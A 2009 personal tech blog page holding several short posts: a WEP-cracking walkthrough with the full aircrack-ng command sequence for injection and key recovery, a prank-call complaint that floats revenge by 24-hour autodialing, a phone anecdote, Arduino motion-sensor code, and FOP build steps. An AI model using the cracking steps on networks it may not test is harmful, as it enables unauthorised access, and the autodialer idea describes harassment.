Oct 25 2009

wep cracking with aircrack-ng

Category: documentation, hardware, quick hacks, scriptsben @ 8:58 pm

had to get a new usb adapter that was capable of inject and monitor modes. took a chance with a netgear usb wg111 at best buy, it happened to be ralink based (wg111v3). then i installed the aircrack-ng suite and began testing my network with the commands below

scan for available networks using card that can do injection
# iwlist wlan0 scan
start airmon-ng on the appropriate channel and interface
# airmon-ng start wlan0 6
do an injection test for good measure
# aireplay-ng -9 wlan0
do an injection test against target network
# aireplay-ng -9 -e {ssid here} -a {mac of ap here} wlan0
start the airodump *needs dedicated terminal or backgrounding of process
# airodump-ng -c 6 –bssid {mac of ap here} -w output wlan0
begin probe *needs dedicated terminal or backgrounding of process
# aireplay-ng -1 6 -e {essid here} -a {mac of ap here} -h {mac of associated client or own mac} wlan0
begin injection *needs dedicated terminal or backgrounding of process
# aireplay-ng -3 -b {mac of ap here} -h {mac of associated client or own mac} wlan0
begin cracking *needs dedicated terminal or backgrounding of process
# aircrack-ng -z -b {mac of ap here} output*.cap

just let those things run until it gives you the key

moral of the story: never use WEP


Oct 19 2009

found the prank site, need the pranker

Category: Uncategorizedben @ 11:08 am

http://www.hoaxcall.com/flatrate_103_a.html

my phone number was even listed as having been called in the last 21 days and would not let me recall it.

i called our office and that prank call was definitely it. the voice was the same and the interactions possible are the same.  all thats left now is finding the person who did it and pranking them my way: i.e. asterisk autoredialer for 24 hours.


Oct 18 2009

unknown numbers

Category: Uncategorizedben @ 4:40 pm

so i got a call from an unknown number today. I answered it, which is completely contradictory to my instinct. There was an attractive sounding woman who had a very familiar voice who said “Hi” and that I had to guess who it was. I asked them to please not make me do that (my hearing is bad and I don’t tie it to memory very well). I guessed once, a little bit of silence later I was informed that I was wrong. The hint was provided that “we hadn’t talked in a while,” but thats so vague it could mean any time period really. I guessed again. Wrong. “Two more guesses,” I was told. I mumbled something -definitely not a name or word- and I heard a yes. Great. “Yes?” I said. It was reiterated to me. I said how are you and it was awkward. I was obviously supposed to be more excited than I was, but mostly I was annoyed to have to play that game. Phone number was blocked so my phone book/contact list was of no help. She said bye and then hung up…conversation could have gone completely differently if I had been just told who it was. Worst part is I probably wanted to talk with them too…


Oct 18 2009

Motion Detection Arduino Code

Category: Uncategorizedben @ 1:03 pm

/*
motion detection code for parallax module from radio shack
**20091015 brb**
basic motion/infrared detection software
**20091015 brb**
add similtaneous green led blinks during motion poll

parts:

3 leds (2 green, 1 red)

1 parallax PIR sensor

on detection of any motion, binary signal on digital pin 8
changes, which causes led on digital pin 5 to light

while motion is not being detected, blink the pins leds on
digital pins 6 and 11. this pause is accomplished by
incrementing a loop timer from 100 to 200 and then reseting
it to zero every 100 intervals (currently 10 miliseconds).
every whole second the led pins alternate being on and off

i reccomend setting the motion detection to H output using
the jumpers on its board; this will make it continuously
trigger the event on constant motion

*/
int ledPin = 5;
int ledPinG1 = 6;
int ledPinG2 = 11;
int modectPin = 8;
int pinin = 0;
int counter = 100;

void setup()
{
pinMode(ledPin, OUTPUT);
pinMode(ledPinG1, OUTPUT);
pinMode(ledPinG2, OUTPUT);
pinMode(modectPin, INPUT);
}

void loop()
{
pinin = digitalRead(modectPin);
while (pinin == 0) {
digitalWrite(ledPin, LOW);
counter = counter + 1;
if(counter == 100){
digitalWrite(ledPinG2, HIGH);
digitalWrite(ledPinG1, LOW);
}
if(counter == 200){
digitalWrite(ledPinG2, LOW);
digitalWrite(ledPinG1, HIGH);
counter = 0;
}
delay(10);
pinin = digitalRead(modectPin);
}
digitalWrite(ledPinG2, LOW);
digitalWrite(ledPinG1, LOW);
digitalWrite(ledPin, HIGH);
}


Oct 09 2009

fop 0.95 on slackware64

Category: documentation, helpful linksben @ 11:13 am

# slackpkg update

# slackpkg install jdk

# cd /usr/local/src

# wget http://archive.apache.org/dist/ant/source/apache-ant-1.6.5-src.tar.gz

# tar zxvf apache-ant-1.6.5-src.tar.gz

# cd apache-ant-1.6.5

#./build.sh

# cd ..

# wget http://apache.siamwebhosting.com/xmlgraphics/fop/source/fop-0.95-src.tar.gz

# tar zxvf fop-0.95-src.tar.gz

# cd fop-0.95

# /usr/local/src/apache-ant-1.6.5/dist/bin/ant

now you have a 64 bit fop…or you can download it here:

drunkensailor.org/software/fop-0.95-slackware64.tar.gz

i have my ant available here:

drunkensailor.org/software/ant-1.6.5-slackware64.tar.gz

*both of these are just meant to be unpacked where you want to run them from and require some funky or full paths. feel free to make a real slackware package and i’ll host it, but for now it’s just compiled binaries alongside the source.

**the ant package is not the most current version of ant(1.7.something) because it required JUnit.jar which i dont have or plan on having (not part of the official slackware jdk)